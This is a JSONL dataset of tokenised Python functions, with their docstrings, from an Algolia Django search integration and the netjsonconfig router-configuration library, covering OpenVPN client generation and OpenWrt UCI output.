{"signature": "def clear_index(self):", "body": "try:<EOL><INDENT>self.__index.clear_index()<EOL>logger.info('<STR_LIT>', self.index_name)<EOL><DEDENT>except AlgoliaException as e:<EOL><INDENT>if DEBUG:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>', self.model, e)<EOL><DEDENT><DEDENT>", "docstring": "Clears the index.", "id": "f11860:c1:m13"}
{"signature": "def reindex_all(self, batch_size=<NUM_LIT:1000>):", "body": "should_keep_synonyms = False<EOL>should_keep_rules = False<EOL>try:<EOL><INDENT>if not self.settings:<EOL><INDENT>self.settings = self.get_settings()<EOL>logger.debug('<STR_LIT>', self.index_name, self.settings)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\", self.index_name, self.settings)<EOL><DEDENT><DEDENT>except AlgoliaException as e:<EOL><INDENT>if any(\"<STR_LIT>\" in arg for arg in e.args):<EOL><INDENT>pass  <EOL><DEDENT>else:<EOL><INDENT>raise e  <EOL><DEDENT><DEDENT>try:<EOL><INDENT>if self.settings:<EOL><INDENT>replicas = self.settings.get('<STR_LIT>', None)<EOL>slaves = self.settings.get('<STR_LIT>', None)<EOL>should_keep_replicas = replicas is not None<EOL>should_keep_slaves = slaves is not None<EOL>if should_keep_replicas:<EOL><INDENT>self.settings['<STR_LIT>'] = []<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>if should_keep_slaves:<EOL><INDENT>self.settings['<STR_LIT>'] = []<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>self.__tmp_index.wait_task(self.__tmp_index.set_settings(self.settings)['<STR_LIT>'])<EOL>logger.debug('<STR_LIT>', self.index_name)<EOL><DEDENT>rules = []<EOL>synonyms = []<EOL>for r in self.__index.iter_rules():<EOL><INDENT>rules.append(r)<EOL><DEDENT>for s in self.__index.iter_synonyms():<EOL><INDENT>synonyms.append(s)<EOL><DEDENT>if len(rules):<EOL><INDENT>logger.debug('<STR_LIT>', self.index_name, rules)<EOL>should_keep_rules = True<EOL><DEDENT>if len(synonyms):<EOL><INDENT>logger.debug('<STR_LIT>', self.index_name, rules)<EOL>should_keep_synonyms = True<EOL><DEDENT>self.__tmp_index.clear_index()<EOL>logger.debug('<STR_LIT>', self.index_name)<EOL>counts = <NUM_LIT:0><EOL>batch = []<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>qs = self.get_queryset()<EOL><DEDENT>else:<EOL><INDENT>qs = self.model.objects.all()<EOL><DEDENT>for instance in qs:<EOL><INDENT>if not self._should_index(instance):<EOL><INDENT>continue  <EOL><DEDENT>batch.append(self.get_raw_record(instance))<EOL>if len(batch) >= batch_size:<EOL><INDENT>self.__tmp_index.save_objects(batch)<EOL>logger.info('<STR_LIT>', len(batch),<EOL>self.index_name)<EOL>batch = []<EOL><DEDENT>counts += <NUM_LIT:1><EOL><DEDENT>if len(batch) > <NUM_LIT:0>:<EOL><INDENT>self.__tmp_index.save_objects(batch)<EOL>logger.info('<STR_LIT>', len(batch),<EOL>self.index_name)<EOL><DEDENT>self.__client.move_index(self.__tmp_index.index_name,<EOL>self.__index.index_name)<EOL>logger.info('<STR_LIT>', self.index_name,<EOL>self.index_name)<EOL>if self.settings:<EOL><INDENT>if should_keep_replicas:<EOL><INDENT>self.settings['<STR_LIT>'] = replicas<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>if should_keep_slaves:<EOL><INDENT>self.settings['<STR_LIT>'] = slaves<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>if should_keep_replicas or should_keep_slaves:<EOL><INDENT>self.__index.set_settings(self.settings)<EOL><DEDENT>if should_keep_rules:<EOL><INDENT>response = self.__index.batch_rules(rules, forward_to_replicas=True)<EOL>self.__index.wait_task(response['<STR_LIT>'])<EOL>logger.info(\"<STR_LIT>\".format(response), self.index_name)<EOL><DEDENT>if should_keep_synonyms:<EOL><INDENT>response = self.__index.batch_synonyms(synonyms, forward_to_replicas=True)<EOL>self.__index.wait_task(response['<STR_LIT>'])<EOL>logger.info(\"<STR_LIT>\".format(response), self.index_name)<EOL><DEDENT><DEDENT>return counts<EOL><DEDENT>except AlgoliaException as e:<EOL><INDENT>if DEBUG:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>', self.model,<EOL>e)<EOL><DEDENT><DEDENT>", "docstring": "Reindex all the records.\n\nBy default, this method use Model.objects.all() but you can implement\na method `get_queryset` in your subclass. This can be used to optimize\nthe performance (for example with select_related or prefetch_related).", "id": "f11860:c1:m15"}
{"signature": "def available_attrs(fn):", "body": "return WRAPPER_ASSIGNMENTS<EOL>", "docstring": "Return the list of functools-wrappable attributes on a callable.\nThis was required as a workaround for http://bugs.python.org/issue3445\nunder Python 2.", "id": "f11861:m0"}
{"signature": "def register(model):", "body": "from algoliasearch_django import AlgoliaIndex, register<EOL>def _algolia_engine_wrapper(index_class):<EOL><INDENT>if not issubclass(index_class, AlgoliaIndex):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>register(model, index_class)<EOL>return index_class<EOL><DEDENT>return _algolia_engine_wrapper<EOL>", "docstring": "Register the given model class and wrapped AlgoliaIndex class with the Algolia engine:\n\n@register(Author)\nclass AuthorIndex(AlgoliaIndex):\n    pass", "id": "f11861:m1"}
{"signature": "def _generate_contents(self, tar):", "body": "text = self.render(files=False)<EOL>vpn_instances = vpn_pattern.split(text)<EOL>if '<STR_LIT>' in vpn_instances:<EOL><INDENT>vpn_instances.remove('<STR_LIT>')<EOL><DEDENT>for vpn in vpn_instances:<EOL><INDENT>lines = vpn.split('<STR_LIT:\\n>')<EOL>vpn_name = lines[<NUM_LIT:0>]<EOL>text_contents = '<STR_LIT:\\n>'.join(lines[<NUM_LIT:2>:])<EOL>if text_contents.endswith('<STR_LIT>'):<EOL><INDENT>text_contents = text_contents[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL><DEDENT>self._add_file(tar=tar,<EOL>name='<STR_LIT>'.format(vpn_name, config_suffix),<EOL>contents=text_contents)<EOL><DEDENT>", "docstring": "Adds configuration files to tarfile instance.\n\n:param tar: tarfile instance\n:returns: None", "id": "f11891:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def auto_client(cls, host, server, ca_path=None, ca_contents=None,<EOL>cert_path=None, cert_contents=None, key_path=None,<EOL>key_contents=None):<DEDENT>", "body": "<EOL>client = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": True<EOL>}<EOL>port = server.get('<STR_LIT:port>') or <NUM_LIT><EOL>client['<STR_LIT>'] = [{'<STR_LIT:host>': host, '<STR_LIT:port>': port}]<EOL>if server.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>client['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>client['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' in server or '<STR_LIT>' in server:<EOL><INDENT>client['<STR_LIT>'] = True<EOL><DEDENT>if '<STR_LIT>' not in server or not server['<STR_LIT>']:<EOL><INDENT>client['<STR_LIT>'] = False<EOL><DEDENT>ns_cert_type = {None: '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>client['<STR_LIT>'] = ns_cert_type[server.get('<STR_LIT>')]<EOL>remote_cert_tls = {None: '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>client['<STR_LIT>'] = remote_cert_tls[server.get('<STR_LIT>')]<EOL>copy_keys = ['<STR_LIT:name>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:key>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT:user>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT:float>', '<STR_LIT>', '<STR_LIT>']<EOL>for key in copy_keys:<EOL><INDENT>if key in server:<EOL><INDENT>client[key] = server[key]<EOL><DEDENT><DEDENT>files = cls._auto_client_files(client, ca_path, ca_contents,<EOL>cert_path, cert_contents,<EOL>key_path, key_contents)<EOL>return {<EOL>'<STR_LIT>': [client],<EOL>'<STR_LIT>': files<EOL>}<EOL>", "docstring": "Returns a configuration dictionary representing an OpenVPN client configuration\nthat is compatible with the passed server configuration.\n\n:param host: remote VPN server\n:param server: dictionary representing a single OpenVPN server configuration\n:param ca_path: optional string representing path to CA, will consequently add\n                a file in the resulting configuration dictionary\n:param ca_contents: optional string representing contents of CA file\n:param cert_path: optional string representing path to certificate, will consequently add\n                a file in the resulting configuration dictionary\n:param cert_contents: optional string representing contents of cert file\n:param key_path: optional string representing path to key, will consequently add\n                a file in the resulting configuration dictionary\n:param key_contents: optional string representing contents of key file\n:returns: dictionary representing a single OpenVPN client configuration", "id": "f11891:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def _auto_client_files(cls, client, ca_path=None, ca_contents=None, cert_path=None,<EOL>cert_contents=None, key_path=None, key_contents=None):<DEDENT>", "body": "files = []<EOL>if ca_path and ca_contents:<EOL><INDENT>client['<STR_LIT>'] = ca_path<EOL>files.append(dict(path=ca_path,<EOL>contents=ca_contents,<EOL>mode=DEFAULT_FILE_MODE))<EOL><DEDENT>if cert_path and cert_contents:<EOL><INDENT>client['<STR_LIT>'] = cert_path<EOL>files.append(dict(path=cert_path,<EOL>contents=cert_contents,<EOL>mode=DEFAULT_FILE_MODE))<EOL><DEDENT>if key_path and key_contents:<EOL><INDENT>client['<STR_LIT:key>'] = key_path<EOL>files.append(dict(path=key_path,<EOL>contents=key_contents,<EOL>mode=DEFAULT_FILE_MODE,))<EOL><DEDENT>return files<EOL>", "docstring": "returns a list of NetJSON extra files for automatically generated clients\nproduces side effects in ``client`` dictionary", "id": "f11891:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def get_name(cls):<DEDENT>", "body": "return str(cls.__name__).replace('<STR_LIT>', '<STR_LIT>').lower()<EOL>", "docstring": "Returns the name of the render class without its prefix", "id": "f11892:c0:m3"}
{"signature": "def cleanup(self, output):", "body": "return output<EOL>", "docstring": "Performs cleanup of output (indentation, new lines)\n\n:param output: string representation of the client configuration", "id": "f11892:c0:m4"}
{"signature": "def render(self):", "body": "<EOL>template_name = '<STR_LIT>'.format(self.get_name())<EOL>template = self.template_env.get_template(template_name)<EOL>context = getattr(self.backend, '<STR_LIT>', {})<EOL>output = template.render(data=context)<EOL>return self.cleanup(output)<EOL>", "docstring": "Renders configuration by using the jinja2 templating engine", "id": "f11892:c0:m5"}
{"signature": "def __init__(self, config=None, native=None, templates=None, context=None):", "body": "<EOL>self.config = None<EOL>self.intermediate_data = None<EOL>if config is not None:<EOL><INDENT>config = deepcopy(self._load(config))<EOL>self.config = self._merge_config(config, templates)<EOL>self.config = self._evaluate_vars(self.config, context)<EOL><DEDENT>elif native is not None:<EOL><INDENT>self.parse(native)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": ":param config: ``dict`` containing a valid **NetJSON** configuration dictionary\n:param native: ``str`` or file object representing a native configuration that will\n               be parsed and converted to a **NetJSON** configuration dictionary\n:param templates: ``list`` containing **NetJSON** configuration dictionaries that\n                  will be used as a base for the main config\n:param context: ``dict`` containing configuration variables\n:raises TypeError: raised if ``config`` is not of type ``dict`` or if\n                   ``templates`` is not of type ``list``", "id": "f11894:c0:m0"}
{"signature": "def _load(self, config):", "body": "if isinstance(config, six.string_types):<EOL><INDENT>try:<EOL><INDENT>config = json.loads(config)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if not isinstance(config, dict):<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return config<EOL>", "docstring": "Loads config from string or dict", "id": "f11894:c0:m1"}
{"signature": "def _merge_config(self, config, templates):", "body": "if not templates:<EOL><INDENT>return config<EOL><DEDENT>if not isinstance(templates, list):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>result = {}<EOL>config_list = templates + [config]<EOL>for merging in config_list:<EOL><INDENT>result = merge_config(result, self._load(merging), self.list_identifiers)<EOL><DEDENT>return result<EOL>", "docstring": "Merges config with templates", "id": "f11894:c0:m2"}
{"signature": "def _evaluate_vars(self, config, context):", "body": "<EOL>if not context:<EOL><INDENT>return config<EOL><DEDENT>return evaluate_vars(config, context)<EOL>", "docstring": "Evaluates configuration variables", "id": "f11894:c0:m3"}
{"signature": "def _render_files(self):", "body": "output = '<STR_LIT>'<EOL>files = self.config.get('<STR_LIT>', [])<EOL>if files:<EOL><INDENT>output += '<STR_LIT>'.format(self.FILE_SECTION_DELIMITER)<EOL><DEDENT>for f in files:<EOL><INDENT>mode = f.get('<STR_LIT>', DEFAULT_FILE_MODE)<EOL>file_output = '<STR_LIT>''<STR_LIT>''<STR_LIT>'.format(f['<STR_LIT:path>'], mode, f['<STR_LIT>'])<EOL>output += file_output<EOL><DEDENT>return output<EOL>", "docstring": "Renders additional files specified in ``self.config['files']``", "id": "f11894:c0:m4"}
{"signature": "def render(self, files=True):", "body": "self.validate()<EOL>if self.intermediate_data is None:<EOL><INDENT>self.to_intermediate()<EOL><DEDENT>renderers = getattr(self, '<STR_LIT>', None) or [self.renderer]<EOL>output = '<STR_LIT>'<EOL>for renderer_class in renderers:<EOL><INDENT>renderer = renderer_class(self)<EOL>output += renderer.render()<EOL>del renderer<EOL><DEDENT>if files:<EOL><INDENT>files_output = self._render_files()<EOL>if files_output:<EOL><INDENT>output += files_output.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT><DEDENT>return output<EOL>", "docstring": "Converts the configuration dictionary into the corresponding configuration format\n\n:param files: whether to include \"additional files\" in the output or not;\n              defaults to ``True``\n:returns: string with output", "id": "f11894:c0:m6"}
{"signature": "def json(self, validate=True, *args, **kwargs):", "body": "if validate:<EOL><INDENT>self.validate()<EOL><DEDENT>config = deepcopy(self.config)<EOL>config.update({'<STR_LIT:type>': '<STR_LIT>'})<EOL>return json.dumps(config, *args, **kwargs)<EOL>", "docstring": "returns a string formatted as **NetJSON DeviceConfiguration**;\nperforms validation before returning output;\n\n``*args`` and ``*kwargs`` will be passed to ``json.dumps``;\n\n:returns: string", "id": "f11894:c0:m7"}
{"signature": "def generate(self):", "body": "tar_bytes = BytesIO()<EOL>tar = tarfile.open(fileobj=tar_bytes, mode='<STR_LIT:w>')<EOL>self._generate_contents(tar)<EOL>self._process_files(tar)<EOL>tar.close()<EOL>tar_bytes.seek(<NUM_LIT:0>)  <EOL>gzip_bytes = BytesIO()<EOL>gz = gzip.GzipFile(fileobj=gzip_bytes, mode='<STR_LIT:wb>', mtime=<NUM_LIT:0>)<EOL>gz.write(tar_bytes.getvalue())<EOL>gz.close()<EOL>gzip_bytes.seek(<NUM_LIT:0>)  <EOL>return gzip_bytes<EOL>", "docstring": "Returns a ``BytesIO`` instance representing an in-memory tar.gz archive\ncontaining the native router configuration.\n\n:returns: in-memory tar.gz archive, instance of ``BytesIO``", "id": "f11894:c0:m8"}
{"signature": "def write(self, name, path='<STR_LIT>'):", "body": "byte_object = self.generate()<EOL>file_name = '<STR_LIT>'.format(name)<EOL>if not path.endswith('<STR_LIT:/>'):<EOL><INDENT>path += '<STR_LIT:/>'<EOL><DEDENT>f = open('<STR_LIT>'.format(path, file_name), '<STR_LIT:wb>')<EOL>f.write(byte_object.getvalue())<EOL>f.close()<EOL>", "docstring": "Like ``generate`` but writes to disk.\n\n:param name: file name, the tar.gz extension will be added automatically\n:param path: directory where the file will be written to, defaults to ``./``\n:returns: None", "id": "f11894:c0:m10"}
{"signature": "def _process_files(self, tar):", "body": "<EOL>for file_item in self.config.get('<STR_LIT>', []):<EOL><INDENT>path = file_item['<STR_LIT:path>']<EOL>if path.startswith('<STR_LIT:/>'):<EOL><INDENT>path = path[<NUM_LIT:1>:]<EOL><DEDENT>self._add_file(tar=tar,<EOL>name=path,<EOL>contents=file_item['<STR_LIT>'],<EOL>mode=file_item.get('<STR_LIT>', DEFAULT_FILE_MODE))<EOL><DEDENT>", "docstring": "Adds files specified in self.config['files'] to tarfile instance.\n\n:param tar: tarfile instance\n:returns: None", "id": "f11894:c0:m11"}
{"signature": "def _add_file(self, tar, name, contents, mode=DEFAULT_FILE_MODE):", "body": "byte_contents = BytesIO(contents.encode('<STR_LIT:utf8>'))<EOL>info = tarfile.TarInfo(name=name)<EOL>info.size = len(contents)<EOL>info.mtime = <NUM_LIT:0><EOL>info.type = tarfile.REGTYPE<EOL>info.mode = int(mode, <NUM_LIT:8>)  <EOL>tar.addfile(tarinfo=info, fileobj=byte_contents)<EOL>", "docstring": "Adds a single file in tarfile instance.\n\n:param tar: tarfile instance\n:param name: string representing filename or path\n:param contents: string representing file contents\n:param mode: string representing file mode, defaults to 644\n:returns: None", "id": "f11894:c0:m12"}
{"signature": "def to_intermediate(self):", "body": "self.validate()<EOL>self.intermediate_data = OrderedDict()<EOL>for converter_class in self.converters:<EOL><INDENT>if not converter_class.should_run_forward(self.config):<EOL><INDENT>continue<EOL><DEDENT>converter = converter_class(self)<EOL>value = converter.to_intermediate()<EOL>if value and isinstance(value, (tuple, list)):  <EOL><INDENT>value = OrderedDict(value)<EOL><DEDENT>if value:<EOL><INDENT>self.intermediate_data = merge_config(self.intermediate_data,<EOL>value,<EOL>list_identifiers=['<STR_LIT>'])<EOL><DEDENT><DEDENT>", "docstring": "Converts the NetJSON configuration dictionary (self.config)\nto the intermediate data structure (self.intermediate_data) that will\nbe then used by the renderer class to generate the router configuration", "id": "f11894:c0:m13"}
{"signature": "def parse(self, native):", "body": "if not hasattr(self, '<STR_LIT>') or not self.parser:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>parser = self.parser(native)<EOL>self.intermediate_data = parser.intermediate_data<EOL>del parser<EOL>self.to_netjson()<EOL>", "docstring": "Parses a native configuration and converts\nit to a NetJSON configuration dictionary", "id": "f11894:c0:m14"}
{"signature": "def to_netjson(self):", "body": "self.__backup_intermediate_data()<EOL>self.config = OrderedDict()<EOL>for converter_class in self.converters:<EOL><INDENT>if not converter_class.should_run_backward(self.intermediate_data):<EOL><INDENT>continue<EOL><DEDENT>converter = converter_class(self)<EOL>value = converter.to_netjson()<EOL>if value:<EOL><INDENT>self.config = merge_config(self.config,<EOL>value,<EOL>list_identifiers=self.list_identifiers)<EOL><DEDENT><DEDENT>self.__restore_intermediate_data()<EOL>self.validate()<EOL>", "docstring": "Converts the intermediate data structure (self.intermediate_data)\nto the NetJSON configuration dictionary (self.config)", "id": "f11894:c0:m15"}
{"signature": "@classmethod<EOL><INDENT>def should_run_forward(cls, config):<DEDENT>", "body": "return cls.netjson_key in config<EOL>", "docstring": "Returns True if Converter should be instantiated and run\nduring the forward conversion process (NetJSON to native)", "id": "f11895:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def should_run_backward(cls, intermediate_data):<DEDENT>", "body": "return cls.intermediate_key in intermediate_data<EOL>", "docstring": "Returns True if Converter should be instantiated and run\nduring the backward conversion process (native to NetJSON)", "id": "f11895:c0:m2"}
{"signature": "def type_cast(self, item, schema=None):", "body": "if schema is None:<EOL><INDENT>schema = self._schema<EOL><DEDENT>properties = schema['<STR_LIT>']<EOL>for key, value in item.items():<EOL><INDENT>if key not in properties:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>json_type = properties[key]['<STR_LIT:type>']<EOL><DEDENT>except KeyError:<EOL><INDENT>json_type = None<EOL><DEDENT>if json_type == '<STR_LIT>' and not isinstance(value, int):<EOL><INDENT>value = int(value)<EOL><DEDENT>elif json_type == '<STR_LIT>' and not isinstance(value, bool):<EOL><INDENT>value = value == '<STR_LIT:1>'<EOL><DEDENT>item[key] = value<EOL><DEDENT>return item<EOL>", "docstring": "Loops over item and performs type casting\naccording to supplied schema fragment", "id": "f11895:c0:m3"}
{"signature": "def to_intermediate(self):", "body": "result = OrderedDict()<EOL>netjson = get_copy(self.netjson, self.netjson_key)<EOL>if isinstance(netjson, list):<EOL><INDENT>for index, block in enumerate(netjson):<EOL><INDENT>result = self.to_intermediate_loop(block, result, index + <NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>result = self.to_intermediate_loop(netjson, result)<EOL><DEDENT>return result<EOL>", "docstring": "Converts the NetJSON configuration dictionary (``self.config``)\nto intermediate data structure (``self.intermediate_datra``)", "id": "f11895:c0:m6"}
{"signature": "def to_intermediate_loop(self, block, result, index=None):  ", "body": "raise NotImplementedError()<EOL>", "docstring": "Utility method called in the loop of ``to_intermediate``", "id": "f11895:c0:m7"}
{"signature": "def to_netjson(self, remove_block=True):", "body": "result = OrderedDict()<EOL>intermediate_data = list(self.intermediate_data[self.intermediate_key])<EOL>for index, block in enumerate(intermediate_data):<EOL><INDENT>if self.should_skip_block(block):<EOL><INDENT>continue<EOL><DEDENT>if remove_block:<EOL><INDENT>self.intermediate_data[self.intermediate_key].remove(block)<EOL><DEDENT>result = self.to_netjson_loop(block, result, index + <NUM_LIT:1>)<EOL><DEDENT>return result<EOL>", "docstring": "Converts the intermediate data structure (``self.intermediate_datra``)\nto a NetJSON configuration dictionary (``self.config``)", "id": "f11895:c0:m8"}
{"signature": "def to_netjson_loop(self, block, result, index=None):  ", "body": "raise NotImplementedError()<EOL>", "docstring": "Utility method called in the loop of ``to_netjson``", "id": "f11895:c0:m9"}
{"signature": "def _sanitize_radios(self):", "body": "for radio in self.config.get('<STR_LIT>', []):<EOL><INDENT>radio.setdefault('<STR_LIT>', False)<EOL><DEDENT>", "docstring": "OpenWisp 1.x requires the following explicit entry\nin the radio sections of /uci/wireless.conf:\n    option disabled '0'", "id": "f11897:c0:m1"}
{"signature": "def _add_unique_file(self, item):", "body": "if item not in self.config['<STR_LIT>']:<EOL><INDENT>self.config['<STR_LIT>'].append(item)<EOL><DEDENT>", "docstring": "adds a file in self.config['files'] only if not present already", "id": "f11897:c0:m3"}
{"signature": "def _get_install_context(self):", "body": "config = self.config<EOL>l2vpn = []<EOL>for vpn in self.config.get('<STR_LIT>', []):<EOL><INDENT>if vpn.get('<STR_LIT>') != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>tap = vpn.copy()<EOL>l2vpn.append(tap)<EOL><DEDENT>bridges = []<EOL>for interface in self.config.get('<STR_LIT>', []):<EOL><INDENT>if interface['<STR_LIT:type>'] != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>bridge = interface.copy()<EOL>if bridge.get('<STR_LIT>'):<EOL><INDENT>bridge['<STR_LIT>'] = interface['<STR_LIT>'][<NUM_LIT:0>].get('<STR_LIT>')<EOL>bridge['<STR_LIT>'] = interface['<STR_LIT>'][<NUM_LIT:0>].get('<STR_LIT:address>')<EOL><DEDENT>bridges.append(bridge)<EOL><DEDENT>cron = False<EOL>for _file in config.get('<STR_LIT>', []):<EOL><INDENT>path = _file['<STR_LIT:path>']<EOL>if path.startswith('<STR_LIT>') or path.startswith('<STR_LIT>'):<EOL><INDENT>cron = True<EOL>break<EOL><DEDENT><DEDENT>return dict(hostname=config['<STR_LIT>']['<STR_LIT>'],  <EOL>l2vpn=l2vpn,<EOL>bridges=bridges,<EOL>radios=config.get('<STR_LIT>', []),  <EOL>cron=cron)<EOL>", "docstring": "returns the template context for install.sh and uninstall.sh", "id": "f11897:c0:m4"}
{"signature": "def _add_install(self, context):", "body": "contents = self._render_template('<STR_LIT>', context)<EOL>self.config.setdefault('<STR_LIT>', [])  <EOL>self._add_unique_file({<EOL>\"<STR_LIT:path>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": contents,<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>})<EOL>", "docstring": "generates install.sh and adds it to included files", "id": "f11897:c0:m5"}
{"signature": "def _add_uninstall(self, context):", "body": "contents = self._render_template('<STR_LIT>', context)<EOL>self.config.setdefault('<STR_LIT>', [])  <EOL>self._add_unique_file({<EOL>\"<STR_LIT:path>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": contents,<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>})<EOL>", "docstring": "generates uninstall.sh and adds it to included files", "id": "f11897:c0:m6"}
{"signature": "def _add_tc_script(self):", "body": "<EOL>context = dict(tc_options=self.config.get('<STR_LIT>', []))<EOL>contents = self._render_template('<STR_LIT>', context)<EOL>self.config.setdefault('<STR_LIT>', [])  <EOL>self._add_unique_file({<EOL>\"<STR_LIT:path>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": contents,<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>})<EOL>", "docstring": "generates tc_script.sh and adds it to included files", "id": "f11897:c0:m8"}
{"signature": "def _generate_contents(self, tar):", "body": "uci = self.render(files=False)<EOL>packages = re.split('<STR_LIT>', uci)<EOL>if '<STR_LIT>' in packages:<EOL><INDENT>packages.remove('<STR_LIT>')<EOL><DEDENT>for package in packages:<EOL><INDENT>lines = package.split('<STR_LIT:\\n>')<EOL>package_name = lines[<NUM_LIT:0>]<EOL>text_contents = '<STR_LIT:\\n>'.join(lines[<NUM_LIT:2>:])<EOL>text_contents = '<STR_LIT>'.format(package_name, text_contents)<EOL>self._add_file(tar=tar,<EOL>name='<STR_LIT>'.format(package_name),<EOL>contents=text_contents)<EOL><DEDENT>template_context = self._get_install_context()<EOL>self._add_install(template_context)<EOL>self._add_uninstall(template_context)<EOL>self._add_openvpn_scripts()<EOL>self._add_tc_script()<EOL>", "docstring": "Adds configuration files to tarfile instance.\n\n:param tar: tarfile instance\n:returns: None", "id": "f11897:c0:m9"}
{"signature": "def cleanup(self, output):", "body": "<EOL>output = output.replace('<STR_LIT:U+0020>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>output = output.replace('<STR_LIT:True>', '<STR_LIT:1>').replace('<STR_LIT:False>', '<STR_LIT:0>')<EOL>output = output.replace('<STR_LIT>', '<STR_LIT>')<EOL>if output.endswith('<STR_LIT>'):<EOL><INDENT>return output[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL><DEDENT>return output<EOL>", "docstring": "Generates consistent OpenWRT/LEDE UCI output", "id": "f11898:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def should_run_forward(cls, config):<DEDENT>", "body": "return True<EOL>", "docstring": "Always runs", "id": "f11904:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def should_run_backward(cls, intermediate_data):<DEDENT>", "body": "return True<EOL>", "docstring": "Always runs", "id": "f11904:c0:m1"}
{"signature": "def __intermediate_addresses(self, interface):", "body": "address_list = self.get_copy(interface, '<STR_LIT>')<EOL>if not address_list:<EOL><INDENT>return [{'<STR_LIT>': '<STR_LIT:none>'}]<EOL><DEDENT>result = []<EOL>static = {}<EOL>dhcp = []<EOL>for address in address_list:<EOL><INDENT>family = address.get('<STR_LIT>')<EOL>if address['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>address['<STR_LIT>'] = '<STR_LIT>' if family == '<STR_LIT>' else '<STR_LIT>'<EOL>dhcp.append(self.__intermediate_address(address))<EOL>continue<EOL><DEDENT>if '<STR_LIT>' in address:<EOL><INDENT>uci_key = '<STR_LIT>' if family == '<STR_LIT>' else '<STR_LIT>'<EOL>interface[uci_key] = address['<STR_LIT>']<EOL><DEDENT>address_key = '<STR_LIT>' if family == '<STR_LIT>' else '<STR_LIT>'<EOL>static.setdefault(address_key, [])<EOL>static[address_key].append('<STR_LIT>'.format(**address))<EOL>static.update(self.__intermediate_address(address))<EOL><DEDENT>if static:<EOL><INDENT>if len(static.get('<STR_LIT>', [])) == <NUM_LIT:1>:<EOL><INDENT>network = ip_interface(six.text_type(static['<STR_LIT>'][<NUM_LIT:0>]))<EOL>static['<STR_LIT>'] = str(network.ip)<EOL>static['<STR_LIT>'] = str(network.netmask)<EOL><DEDENT>if len(static.get('<STR_LIT>', [])) == <NUM_LIT:1>:<EOL><INDENT>static['<STR_LIT>'] = static['<STR_LIT>'][<NUM_LIT:0>]<EOL><DEDENT>result.append(static)<EOL><DEDENT>if dhcp:<EOL><INDENT>result += dhcp<EOL><DEDENT>return result<EOL>", "docstring": "converts NetJSON address to\nUCI intermediate data structure", "id": "f11905:c0:m1"}
